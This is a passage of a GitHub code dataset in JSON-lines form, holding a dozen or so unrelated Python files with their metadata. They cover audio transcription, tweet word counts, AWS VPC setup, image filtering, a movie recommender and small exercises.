whisper\nimport argparse\n\nparser = argparse.ArgumentParser(description='Transcribe audio and create subtitles')\nparser.add_argument('path', type=str, help='path to the audio file')\nargs = parser.parse_args()\n\ndef create_model():\n return whisper.load_model(\"medium\", \"cpu\")\n\ndef transcribe_audio(path):\n model = create_model()\n return model.transcribe(path)\n\ndef create_transcript_file(transcription, path):\n base_path = os.path.splitext(path)[0]\n transcript_suffix = '_transcript.txt'\n transcript_path = base_path + transcript_suffix\n with open(transcript_path, \"w\", encoding='utf-8') as file:\n file.write(transcription['text'])\n\ndef create_subtitles(transcription, path):\n segments = transcription['segments']\n base_path = os.path.splitext(path)[0]\n subtitle_suffix = '_subtitles.srt'\n subtitle_path = base_path + subtitle_suffix\n with open(subtitle_path, 'w', encoding='utf-8') as srtFile:\n for segment in segments:\n start_time = timedelta(seconds=int(segment['start']))\n end_time = timedelta(seconds=int(segment['end']))\n text = segment['text'].lstrip()\n segment_id = segment['id'] + 1\n segment_text = f\"{segment_id}\\n{start_time} --> {end_time}\\n{text}\\n\\n\"\n srtFile.write(segment_text)\n\ntranscription = transcribe_audio(args.path)\ncreate_transcript_file(transcription, args.path)\ncreate_subtitles(transcription, args.path)","repo_name":"bartlomiejborzucki/transcript_whisper","sub_path":"transcript.py","file_name":"transcript.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32902446461","text":"import fiona\nimport fiona.crs\nimport shapely\nimport rtree\nimport pyproj\nimport shapely.geometry as geom\nimport sys\nimport pandas as pd\nimport geopandas as gpd\nfrom pyspark import SparkContext\n\n\n\ndef getdict():\n import csv\n wordcount={}\n keyword=[]\n with open('drug_illegal.txt') as file:\n reader = csv.reader(file)\n for row in reader:\n keyword.append(row[0])\n with open('drug_sched2.txt') as file:\n reader = csv.reader(file)\n for row in reader:\n keyword.append(row[0])\n with open('tweets-100m.csv') as file:\n reader = csv.reader(file,delimiter='|') \n for row in reader:\n if len(row) < 7:\n continue\n if len(row[6])<3:\n continue\n flag=0\n for i in keyword:\n if i in row[6]:\n flag=1\n break\n if flag==1:\n row[6]=row[6].replace(',','')\n for i in row[6].split(' '):\n wordcount[i]=wordcount.get(i,0)+1\n return wordcount\n \n\n\n \ndef processwords(pid,records):\n import csv\n \n \n worddict=getdict()\n counts={}\n keyword=[]\n\n with open('drug_illegal.txt') as file:\n reader = csv.reader(file)\n for row in reader:\n keyword.append(row[0])\n with open('drug_sched2.txt') as file:\n reader = csv.reader(file)\n for row in reader:\n keyword.append(row[0])\n \n reader = csv.reader(records,delimiter='|') \n for row in reader:\n if len(row) < 7:\n continue\n if len(row[6].split(' '))<3:\n continue\n flag = 0\n fre=[]\n for i in keyword:\n if i in row[6]:\n flag=1\n break\n if(flag==1):\n row[6]=row[6].replace(',','')\n for i in row[6].split(' '):\n fre.append((i,worddict[i]))\n fre1=set(fre)\n a=[i[0] for i in sorted(fre1, key=lambda x : x[1])[0:3]]\n \n for i in a:\n counts[i]=counts.get(i,0)+1\n else:\n continue\n return counts.items()\n \nif __name__ == \"__main__\":\n output=sys.argv[2]\n tweetdata=sys.argv[1]\n \n sc = SparkContext()\n tweet = sc.textFile(tweetdata).cache() \n freq = tweet.mapPartitionsWithIndex(processwords).top(100, key=lambda x: x[1])\n sc.parallelize(freq).saveAsTextFile(output)\n","repo_name":"jianangong/bdm_final","sub_path":"extra2.py","file_name":"extra2.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"858943191","text":"import random as ran\nimport numpy as np\nfrom math import sqrt\nimport cProfile\nimport time\nfrom functools import cache\nimport os.path\nimport sys\nimport gc\n\n\nn_m = int(sys.argv[1])\n\nr_mm = float(sys.argv[2])\nr_m = r_mm/1e3\n# while True: #choose monomer number \n# try:\n# n_m = int(input('Enter the number of monomers: '))\n# except ValueError:\n# # Not a valid number\n# print('You must enter a vaild number')\n# n_m = int(input('Enter the number of monomers: '))\n# else:\n# # No error; stop the loop\n# break\n\n# while True: #choose monomer size\n# try:\n# r_m = float(input('Enter size of monomers in mm e.g 0.01: '))\n# except ValueError:\n# # Not a valid number\n# print('You must enter a vaild number')\n# r_m = float(input('Enter the number of monomers: '))\n# else:\n# # No error; stop the loop\n# break\n\n#setup arrays and initialise values \n\nx_a, y_a, z_a = [],[],[]\n\nWavelength = 0.870\nRe = 3.408100\nIm = 5.6983002E-02\n\n#n_m = number of monomeres\nr_c = 1 \n#r_m = 0.01\n\nfac = (r_c + r_m) * (1+1e-6)\n\nsave_path = '/Users/raomorusupalli/Documents/UNI/Honours/project/GMM/'\n\nname_of_file ='aggregate_'+str(n_m)\n\ncompleteName = os.path.join(save_path, name_of_file+\".k\")\n\nstart_time = time.time()\nnp.seterr(invalid='ignore')\n\n\n@cache\ndef main():\n count = 0\n tried =0\n actp = []\n t1 = time.time()\n with open(completeName,'w') as f:\n f.write(str(Wavelength)+'\\n')\n f.write(str(n_m+1)+'\\n')\n f.write(\" \".join([str(0.), str(0.), str(0.), str(r_c), str(Re), str(Im), '\\n'])) #initial position of centre monomer\n while count < n_m: # i and j are indicies for 2 points to compare, j starts at i + 1 because all values of j=0, ..., i will be compared are a different iteration\n \n\n pos = ran.uniform(0.,1.)\n z = 2.0 * pos - 1.0\n r = np.sqrt(1-z*z)\n\n pos = ran.uniform(0.,1.)\n ARGMT = np.pi*(2.0*pos- 1.0 )\n x = r * np.cos(ARGMT)\n y = r * np.sin(ARGMT)\n\n x *= fac\n y *= fac\n z *= fac\n posvec = np.array([x,y,z])\n overlap = False\n\n \n if not overlap:\n for p in actp:\n # remove the doubling of the posvec[.]-p[.] in the below statement\n # find a a way to make the staements absolute ie a == b instead of a < b.\n gc.disable() \n xt = np.abs(posvec[0]-p[0]) - 2*r_m\n yt = np.abs(posvec[1]-p[1]) - 2*r_m\n zt = np.abs(posvec[2]-p[2]) - 2*r_m\n rt = (posvec[0]-p[0])**2+(posvec[1]-p[1])**2+(posvec[2]-p[2])**2 - 4*r_m**2\n stat = [abs(xt) != xt, abs(yt) != yt,abs(zt) != zt,abs(rt) != rt]\n if all(stat):\n overlap = True\n break\n \n # d = np.sqrt(np.dot(posvec,actp[-1]))\n # if fac/d > 1:\n # overlap = True\n # break \n \n \n if not overlap:\n gc.disable() \n actp.append(posvec)\n\n #print (posvec)\n count+=1\n # t1 = time.time()\n print(count) \n else:\n tried+=1\n \n \n for val in actp:\n f.write('{} {} {}'.format(val[0], val[1], val[2]) +' '+str(r_m)+' '+str(Re)+' '+str(Im)+'\\n') \n f.close()\n\nif __name__ == '__main__':\n\n cProfile.run('main()') \n print(\"--- %s seconds ---\" % (time.time() - start_time))","repo_name":"raomoomoo/GMM-Aggregates","sub_path":"agg_generator.py","file_name":"agg_generator.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72000573053","text":"populations_2020 = [\n {\"Name\": \"Honduras\", \"Population\": 9_904_607},\n {\"Name\": \"United Arab Emirates\", \"Population\": 9_890_402},\n {\"Name\": \"Vietnam\", \"Population\": 97_338_579},\n {\"Name\": \"Hungary\", \"Population\": 9_660_351},\n {\"Name\": \"Austria\", \"Population\": 9_006_398},\n {\"Name\": \"Fiji\", \"Population\": 896_445},\n {\"Name\": \"Papua New Guinea\", \"Population\": 8_947_024},\n {\"Name\": \"Switzerland\", \"Population\": 8_654_622},\n {\"Name\": \"Turkey\", \"Population\": 84_339_067},\n {\"Name\": \"Iran\", \"Population\": 83_992_949},\n {\"Name\": \"Germany\", \"Population\": 83_783_942},\n {\"Name\": \"Hong Kong\", \"Population\": 7_496_981},\n {\"Name\": \"Paraguay\", \"Population\": 7_132_538},\n {\"Name\": \"United Kingdom\", \"Population\": 67_886_011},\n {\"Name\": \"Lebanon\", \"Population\": 6_825_445},\n {\"Name\": \"Cayman Islands\", \"Population\": 65_722},\n {\"Name\": \"Italy\", \"Population\": 60_461_826},\n {\"Name\": \"Congo\", \"Population\": 5_518_087},\n {\"Name\": \"Kenya\", \"Population\": 53_771_296},\n]\n","repo_name":"FelipeD97/100DaysofCode","sub_path":"Day 14 - higher_lower_game/game_data.py","file_name":"game_data.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73978174651","text":"\"CRB of orbital method using iSCAT\"\nimport matplotlib\nfrom static_crb.CRB import *\nimport rsmf\n\ncolor_list = ['#1d6996', '#73af48', '#edad08', '#e17c05', '#cc503e', '#94346e', '#6f4070']\nplt.rcParams['axes.prop_cycle'] = plt.cycler(color=color_list)\n\ncol_width = 246 # For journal draft (JCP) - single column\n# col_width = 418 # I don't know anymore\n\nformatter = rsmf.CustomFormatter(columnwidth=col_width * 0.01389, fontsizes=10,\n pgf_preamble=r'\\usepackage{lmodern} \\usepackage[utf8x]{inputenc}')\n\n# matplotlib.rcParams.update({'font.size': formatter.fontsizes.footnotesize})\nmatplotlib.rcParams.update({'font.size': 8})\nmatplotlib.rcParams.update({'font.family': 'serif'})\n\ndill.settings['recurse'] = True\nfile_orbital = 'pickles/crb_lambda_orbital_iscat'\nfile_orbital_20 = 'pickles/crb_lambda_orbital_iscat_20'\nfile_orbital_40 = 'pickles/crb_lambda_orbital_iscat_40'\nfile_orbital_80 = 'pickles/crb_lambda_orbital_iscat_80'\n\ncompute_crb = False\n\nif compute_crb:\n # orbital = Orbital(file_orbital, iscat=True)\n orbital = Orbital(file_orbital_20, iscat=True, numpoints=20)\n orbital = Orbital(file_orbital_40, iscat=True, numpoints=40)\n orbital = Orbital(file_orbital_80, iscat=True, numpoints=80)\n\ny = np.linspace(-300, 300, num=100)\n\ncontrast = 0.01\nn = 100\nnscat = 1 * n\nnsigma = np.sqrt(2 * nscat / contrast)\n\nfileobject_orbital = open(file_orbital, 'rb')\ncrb_lambda_orbital = dill.load(fileobject_orbital)\nfileobject_orbital_20 = open(file_orbital_20, 'rb')\ncrb_lambda_orbital_20 = dill.load(fileobject_orbital_20)\nfileobject_orbital_40 = open(file_orbital_40, 'rb')\ncrb_lambda_orbital_40 = dill.load(fileobject_orbital_40)\nfileobject_orbital_80 = open(file_orbital_80, 'rb')\ncrb_lambda_orbital_80 = dill.load(fileobject_orbital_80)\n\n# x, y, L, N, w, amp\ncrb20 = crb_lambda_orbital_20(0, y, 500, nscat, 353, 1, nsigma)\ncrb40 = crb_lambda_orbital_40(0, y, 500, nscat, 353, 1, nsigma)\ncrb60 = crb_lambda_orbital(0, y, 500, nscat, 353, 1, nsigma)\ncrb80 = crb_lambda_orbital_80(0, y, 500, nscat, 353, 1, nsigma)\n\nfig = formatter.figure(width_ratio=1.0, aspect_ratio=0.6)\nax1 = fig.add_subplot()\n\nax1.plot(y, crb20)\nax1.plot(y, crb40)\nax1.plot(y, crb60)\nax1.plot(y, crb80)\n\nax1.text(190, 85, '20 points', fontsize=10, color='C0')\nax1.text(190, 61, '40 points', fontsize=10, color='C1')\nax1.text(190, 50, '60 points', fontsize=10, color='C2')\nax1.text(190, 43, '80 points', fontsize=10, color='C3')\n\nax1.set_xlabel('Position (nm)')\nax1.set_ylabel('CRB (nm)')\n\nfor line in ax1.lines:\n line.set_lw(1.3)\n\nplt.tight_layout()\nplt.savefig('../out/orbital_crb_iscat_numpoints.pdf')\n","repo_name":"bvanheerden/spt_sim","sub_path":"static_crb/compare_numpoints.py","file_name":"compare_numpoints.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1442692025","text":"# -*- coding: utf-8 -*-\n#\n# (c) 2016 Boundless, http://boundlessgeo.com\n# This code is licensed under the GPL 2.0 license.\n#\n'''\nThis module provides methods to export layers so they can be used as valid data\nfor uploading to GeoServer.\n'''\n\nfrom builtins import str\nfrom qgis.core import *\nfrom geoserverexplorer.qgis import utils\nimport os\nfrom qgis.PyQt import QtCore\nfrom qgis.utils import iface\nfrom qgis.gui import QgsMessageBar\nfrom qgiscommons2.files import tempFilenameInTempFolder\n\ndef exportVectorLayer(layer):\n '''accepts a QgsVectorLayer or a string with a filepath'''\n settings = QtCore.QSettings()\n systemEncoding = settings.value( \"/UI/encoding\", \"System\" )\n if isinstance(layer, QgsMapLayer):\n filename = str(layer.source())\n destFilename = str(layer.name())\n else:\n filename = str(layer)\n destFilename = str(os.path.splitext(os.path.basename(filename))[0])\n if (not filename.lower().endswith(\"shp\")):\n if not isinstance(layer, QgsMapLayer):\n layer = QgsVectorLayer(filename, \"layer\", \"ogr\")\n if not layer.isValid() or layer.type() != QgsMapLayer.VectorLayer:\n raise Exception (\"Error reading file {} or it is not a valid vector layer file\".format(filename))\n output = tempFilenameInTempFolder(destFilename + \".shp\")\n QgsVectorFileWriter.writeAsVectorFormat(layer, output, systemEncoding, layer.crs(), \"ESRI Shapefile\")\n QgsMessageLog.logMessage(\"Layer '%s' had to be exported to shapefile for importing. Data might be lost.\" % layer.name(),\n level = Qgis.Warning)\n return output\n else:\n return filename\n\n\n\ndef exportRasterLayer(layer):\n if (not str(layer.source()).lower().endswith(\"tif\") ):\n filename = str(layer.name())\n output = tempFilenameInTempFolder(filename + \".tif\")\n writer = QgsRasterFileWriter(output)\n writer.setOutputFormat(\"GTiff\");\n writer.writeRaster(layer.pipe(), layer.width(), layer.height(), layer.extent(), layer.crs())\n del writer\n return output\n else:\n return str(layer.source())\n\n\n\n\n\n\n","repo_name":"planetfederal/qgis-geoserver-plugin","sub_path":"geoserverexplorer/qgis/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"78"} +{"seq_id":"42139126488","text":"# Solution by PauloBA\n\ndef find_difference(a, b):\n vA = 1\n vB = 1\n for i in a:\n vA = vA * i\n for i in b:\n vB = vB * i\n ans = abs(vA -vB)\n return ans","repo_name":"PauloBernal/Codewars","sub_path":"kata/cuboids.py","file_name":"cuboids.py","file_ext":"py","file_size_in_byte":180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22962232032","text":"def decimal_to_binary(n: int):\n \"\"\"\n Transforms a possitive decimal integer into a binary number\n n -- possitive integer number\n \"\"\"\n if n == 0:\n return '0'\n b = []\n while n > 0:\n remainder = n % 2\n n = n // 2\n b.append(str(remainder))\n return ''.join(b[::-1])\n\n\ndef max_number_of_consecutive_ones(binary: str):\n \"\"\"\n Returns the maximum number of consecutive ones in a binary number\n \"\"\"\n return max([len(i) for i in binary.split('0')])\n\n\nif __name__ == \"__main__\":\n print('-' * 60)\n print('Maximum number of consecutive ones in a binary number')\n print('-' * 60)\n numbers = list(range(10)) + list(range(20,200,20))\n for n in numbers:\n b = decimal_to_binary(n)\n res = f'{\" \" * (6-len(str(n)))}({n})_10 = ({b})_2{\" \" * (10-len(b))}'\n res += f' --> max consecutive ones = {max_number_of_consecutive_ones(b)}'\n print(res)\n\n print()\n print('-' * 60)\n print('Convert decimal numbers to binary')\n print('-' * 60)\n while True:\n # decimal number\n number = int(input(\"Enter any decimal number: \"))\n\n print(' -> Binary equivalent: ', decimal_to_binary(number))","repo_name":"daalgi/algorithms","sub_path":"maths/decimal_to_binary.py","file_name":"decimal_to_binary.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"10065199326","text":"import streamlit as st\r\nimport pickle\r\nimport pandas as pd\r\nimport requests\r\n\r\ndef fetch_poster(movie_id):\r\n api_key=\"...........\" # use your api key \r\n response=requests.get(\"https://api.themoviedb.org/3/movie/{}?api_key={}\".format(movie_id,api_key))\r\n data=response.json()\r\n print(data['poster_path'])\r\n return \"http://image.tmdb.org/t/p/w500\"+data['poster_path']\r\n\r\n# for list of movies for select\r\nmovies_dict=pickle.load(open('movie_dict.pkl','rb'))\r\nsimilarity=pickle.load(open('similarity.pkl','rb'))\r\nmovies_name=pd.DataFrame(movies_dict)\r\n\r\ndef recommendation(movie):\r\n index=movies_name[movies_name['title']==movie].index[0]\r\n distance=similarity[index]\r\n sorted_list=sorted(enumerate(distance),reverse=True,key=lambda x:x[1])[1:6]\r\n\r\n recommended_movie=[]\r\n recommended_poster=[]\r\n for i in sorted_list:\r\n movie_id=movies_name.iloc[i[0]].movie_id\r\n # for fetching movie poster we use movie_id in TMDB API\r\n recommended_poster.append(fetch_poster(movie_id))\r\n recommended_movie.append(movies_name.iloc[i[0]].title)\r\n \r\n return recommended_movie,recommended_poster\r\n\r\n\r\nst.title(\"Movie Recommender System\")\r\noption = st.selectbox(\r\n 'Select or Type Movie Name!',\r\n (movies_name['title'].values))\r\n\r\nif st.button('Recommend'):\r\n a,posters=recommendation(option)\r\n col1, col2, col3,col4,col5= st.columns(5)\r\n with col1:\r\n st.text(a[0])\r\n st.image(posters[0])\r\n with col2:\r\n st.text(a[1])\r\n st.image(posters[1])\r\n with col3:\r\n st.text(a[2])\r\n st.image(posters[2])\r\n with col4:\r\n st.text(a[3])\r\n st.image(posters[3])\r\n with col5:\r\n st.text(a[4])\r\n st.image(posters[4])\r\n\r\n\r\n","repo_name":"9771-raj/Movie_Recommendation_System","sub_path":"movie_web.py","file_name":"movie_web.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"33066348296","text":"from turtle import Turtle\nALIGNMENT = \"center\"\nFONT = (\"Arial\", 24, \"normal\")\n\n\nclass Scoreboard(Turtle):\n\n def __init__(self):\n super().__init__()\n self.penup()\n self.hideturtle()\n self.goto(0, 275)\n self.score = 0\n self.color(\"white\")\n self.scoreboard_refresh()\n\n def scoreboard_refresh(self):\n self.write(f\"Score = {self.score}\", False, align=ALIGNMENT, font=FONT)\n\n def update_score(self):\n self.score += 1\n self.clear()\n self.scoreboard_refresh()\n\n def game_over(self):\n self.goto(0,0)\n self.write(\"GAME OVER\", False, align=ALIGNMENT, font=FONT)\n","repo_name":"YTCYC/Python_OOP_Projects","sub_path":"snake-game/scoreboard.py","file_name":"scoreboard.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30386212462","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def reverseKGroup(self, head: Optional[ListNode], k: int) -> Optional[ListNode]:\n if head is None or head.next is None or k < 1:\n return head\n ### If the code didn't return in the above statement then \n ### The Linkedlist has atleast 2 nodes & k >= 2 \n \n totalLength = 0\n cur = head\n while cur:\n totalLength += 1\n cur = cur.next\n \n totalIterTimes = totalLength // k\n \n prev = None\n cur = head\n StartInprevGroup = None\n StartIncurGroup = head\n \n isFirstTime = True\n while cur and totalIterTimes:\n StartIncurGroup = cur\n prev = None\n for i in range(k):\n ### Save pointer to next node\n nxt = cur.next\n \n ### Move connection from cur -> next to cur -> prev\n cur.next = prev\n \n ### Move all the pointers to the right by 1 place\n prev = cur\n cur = nxt\n \n if isFirstTime:\n head = prev\n isFirstTime = False\n else:\n StartInprevGroup.next = prev\n StartInprevGroup = StartIncurGroup\n totalIterTimes -= 1\n \n StartInprevGroup.next = cur\n \n return head\n","repo_name":"krishnasaiv/My-LeetCode-Journey","sub_path":"25-reverse-nodes-in-k-group/25-reverse-nodes-in-k-group.py","file_name":"25-reverse-nodes-in-k-group.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27424035502","text":"# !/usr/bin/python\n# coding=UTF-8\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nimport pandas as pd\npd.set_option('display.max_columns',30)\n\n\n# 学生基本数据信息(本科生) ok\nbks_xsjbsjxx = pd.read_csv('./process_data/droped_bks_xsjbsjxx_out.csv')\n# # 学籍基本数据信息(本科生)\n# bks_xjjbsjxx = pd.read_csv('./bks_xjjbsjxx_out.csv')\n# 本科生成绩信息\n# bks_cjxx = pd.read_csv('./droped_bks_cjxx_out.csv')\n\n# # 排课数据信息(本科生) ok\n# bks_pksjxx = pd.read_csv('./bks_pksjxx_out.csv')\n\n# # 课程数据信息(本科生) ok\n# bks_kcsjxx = pd.read_csv('./bks_kcsjxx_out.csv')\n\n# 一卡通消费日志:YKT_JYRZ ok\nykt_jyrz = pd.read_csv('./新增数据/merge_ykt_jyrz.csv', names=['xh','jylx','jyje','jyrq','jysj','jydd','shdm','shmc','zdjh','ljykcs','jyye'])\n\n# label标签\ntrain_label = pd.read_csv('./process_data/add_data_2_train_label.csv')\n\ny = train_label['is_poor']\n\n\ndef get_feature(ykt_jyrz, label):\n for feature in ykt_jyrz.columns[1:]:\n if ykt_jyrz[feature].dtype == 'object':\n label = label.merge(ykt_jyrz.groupby(by='xh')[feature].count().reset_index().rename(columns = {feature:'count_'+ feature}), how='left', on='xh')\n label = label.merge(ykt_jyrz.groupby(by='xh')[feature].nunique().reset_index().rename(columns = {feature:'nunique_'+ feature}), how='left', on='xh')\n else:\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].count().reset_index().rename(columns = {feature:'count_'+ feature}),on='xh',how='left')\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].nunique().reset_index().rename(columns = {feature:'nunique_'+ feature}),on='xh',how='left')\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].mean().reset_index().rename(columns = {feature:'mean_'+ feature}),on='xh',how='left')\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].std().reset_index().rename(columns = {feature:'std_'+ feature}),on='xh',how='left')\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].max().reset_index().rename(columns = {feature:'max_'+ feature}),on='xh',how='left')\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].min().reset_index().rename(columns = {feature:'min_'+ feature}),on='xh',how='left')\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].sum().reset_index().rename(columns = {feature:'sum_'+ feature}),on='xh',how='left')\n label =label.merge(ykt_jyrz.groupby(['xh'])[feature].skew().reset_index().rename(columns = {feature:'skew_'+ feature}),on='xh',how='left')\n return label\n\n# 提取特征\ntrain_valid_data = get_feature(ykt_jyrz, train_label)\nprint(train_valid_data.shape) # (24690, 52)\n\n\ntrain_valid_data.to_csv('./process_data/第一轮特征.csv', index=None)","repo_name":"Andrewsunning/XinHuaSanCup_top1","sub_path":"code/BiXuanTi_code/第一轮特征.py","file_name":"第一轮特征.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"6493468434","text":"from nltk.probability import FreqDist\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom wordcloud import WordCloud, STOPWORDS\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\n\ntext = pd.read_csv('/Users/haven/galvanize/capstone_2/tweets_only.csv')\n\ntext['totalwords'] = text['text'].str.split().str.len()\n\ntext['hashtags'] = text['text'].str.count('#')\ntext['attention'] = text['text'].str.count('@')\n\ndef clean_data(dataframe,col):\n '''\n Removes punctuation and import errors from dataframe\n\n INPUT: DataFrame (df)\n Column name to clean (string)\n\n OUTPUT: Cleaned DataFrame Column (series)\n\n '''\n punctuation = '!\"$%&()*+,-./:;<=>?[\\]^_`{|}~'\n import_errors = ['_„Ž','_„ñ','_ã_','_„','ñ','ñ','ð']\n df2 = dataframe.copy()\n for e in import_errors:\n df2[col] = df2[col].str.replace(e,'')\n for p in punctuation:\n df2[col] = df2[col].str.replace(p,'')\n return df2[col]\n\ntext['text'] = clean_data(text, 'text')\ntext.text = text.text.astype(str).str.lower()\n\ntext.to_csv('text_info.csv')\n\ncorpus = text['text']\n#\n# words = []\n# tokenized_words = []\n#\n# for doc in corpus:\n# words += doc.split()\n# tokenized_words += word_tokenize(str(words))\n\ndef make_wordcloud(data):\n stopwords = set(STOPWORDS)\n # iterate through the csv file\n for val in text.text:\n\n # typecaste each val to string\n val = str(val)\n\n # split the value\n tokens = val.split()\n\n # Converts each token into lowercase\n for i in range(len(tokens)):\n tokens[i] = tokens[i].lower()\n\n comment_words = ' '\n for i in range(5000):\n comment_words+=(np.random.choice(text.text.values, replace=False))\n\n\n wordcloud = WordCloud(width = 800, height = 800,\n background_color ='white',\n stopwords = stopwords,\n min_font_size = 10).generate(comment_words)\n\n # plot the WordCloud image\n plt.figure(figsize = (8, 8), facecolor = None)\n plt.imshow(wordcloud)\n plt.axis(\"off\")\n plt.tight_layout(pad = 0)\n\n plt.show()\n","repo_name":"HM618/Capstone-2","sub_path":"capstone_2/src/text_level.py","file_name":"text_level.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18137671297","text":"import boto3\n\n# CIDR for VPC and Subnets\ncidr_vpc = '10.0.0.0/16'\ncidr_sn_public = '10.0.1.0/24'\ncidr_sn_private = '10.0.2.0/24'\n\n# crete an ec2 ressource object\nec2 = boto3.resource('ec2')\n\n# create a VPC\nvpc = ec2.create_vpc(CidrBlock=cidr_vpc)\n\n# assign a name to the VPC\nvpc.create_tags(Tags=[{\"Key\": \"Name\", \"Value\": \"my_vpc\"}])\n\nvpc.wait_until_available()\n\n# create an IGW and attach it to the VPC\nigw = ec2.create_internet_gateway()\nigw.create_tags(Tags=[{\"Key\": \"Name\", \"Value\": \"my_igw\"}])\nvpc.attach_internet_gateway(InternetGatewayId=igw.id)\n\n# identify the main route table\nmain_vpc_rt = []\nfor route_table in vpc.route_tables.all():\n for association in route_table.associations:\n if association.main:\n main_vpc_rt.append(route_table)\n# main_vpc_rt = vpc.route_tables.filter(Filters=[{'Name': 'association.main', 'Values': [\"true\"]}])\nrt_main = main_vpc_rt[0]\nrt_main.create_tags(Tags=[{\"Key\": \"Name\", \"Value\": \"my_rt_private\"}])\n\n# create a route table for the public subnet \nrt_public = vpc.create_route_table()\nrt_public.create_tags(Tags=[{\"Key\": \"Name\", \"Value\": \"my_rt_public\"}])\n\n# add a public route to the public route table\nroute_public = rt_public.create_route(DestinationCidrBlock='0.0.0.0/0', GatewayId=igw.id)\n\n# create a public subnet\nsn_public = ec2.create_subnet(CidrBlock=cidr_sn_public, VpcId=vpc.id)\nsn_public.create_tags(Tags=[{\"Key\": \"Name\", \"Value\": \"my_sn_public\"}])\n\n# create a private subnet\nsn_private = ec2.create_subnet(CidrBlock=cidr_sn_private, VpcId=vpc.id)\nsn_private.create_tags(Tags=[{\"Key\": \"Name\", \"Value\": \"my_sn_private\"}])\n\n# attach the route tables to the subnets\nrt_main.associate_with_subnet(SubnetId=sn_private.id)\nrt_public.associate_with_subnet(SubnetId=sn_public.id)\n","repo_name":"antoine-hochart/aws","sub_path":"sdk_for_python/files/aws_sdk_vpc.py","file_name":"aws_sdk_vpc.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22281285431","text":"import cv2\nimport numpy as np\nimport matplotlib\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\nfrom skimage.util import random_noise\nfrom skimage import img_as_ubyte\nfrom skimage.filters import roberts, sobel, prewitt, laplace\nfrom closedcv.filters import *\n\nmatplotlib.rcParams[\"backend\"] = \"TkAgg\"\nnp.set_printoptions(threshold=np.inf)\n\n\nif __name__==\"__main__\":\n img = cv2.imread('./input/img.jpeg', 0)\n \n # Apply noise to input image\n gauss = random_noise(img, mode='gaussian', seed=None, clip=True)\n gauss = img_as_ubyte(gauss)\n dir_ = './res/'\n cv2.imwrite(dir_ + 'gauss.jpeg', gauss)\n\n Q = [-1, 0, 1]\n for q in Q:\n cntrharmonic = contraharmonic_filter(gauss, q,(3,3))\n cv2.imwrite(dir_ + 'contraharmonic_Q_' + str(q) + '.jpg', cntrharmonic)\n \n for q in Q:\n gauss_blur = cv2.GaussianBlur(gauss, (3,3), q)\n cv2.imwrite(dir_ + 'gaussian_Q_' + str(q) + '.jpg', gauss_blur)\n\n # Median, weighted median, rang and Winner filtering\n cv2.imwrite(dir_ + 'median.jpg', cv2.medianBlur(gauss, 1))\n \n cv2.imwrite(dir_ + 'weighted_median.jpg', cv2.medianBlur(gauss, 3))\n \n cv2.imwrite(dir_ + 'wiener.jpg', wiener_filter(gauss, (3,3)))\n \n cv2.imwrite(dir_ + 'rank.jpg', rank_filter(gauss, -1, (3,3)))\n \n #cv2.imwrite(dir_ + 'adaptive_median.jpg', adaptive_median_filter(gauss, (3,3), 5, 5))\n \n # Edge detectors \n #roberts_ = img_as_ubyte(roberts(img))\n cv2.imwrite(dir_ + 'roberts.jpg', img_as_ubyte(roberts(img)))\n cv2.imwrite(dir_ + 'sobel.jpg', img_as_ubyte(sobel(img)))\n cv2.imwrite(dir_ + 'prewitt.jpg', img_as_ubyte(prewitt(img)))\n cv2.imwrite(dir_ + 'laplace.jpg', img_as_ubyte(laplace(img)))\n cv2.imwrite(dir_ + 'canny.jpg', cv2.Canny(img, 100, 200))\n","repo_name":"AlexKaravaev/ifmo","sub_path":"bachelor/CV/lab3/lab.py","file_name":"lab.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3602727181","text":"import 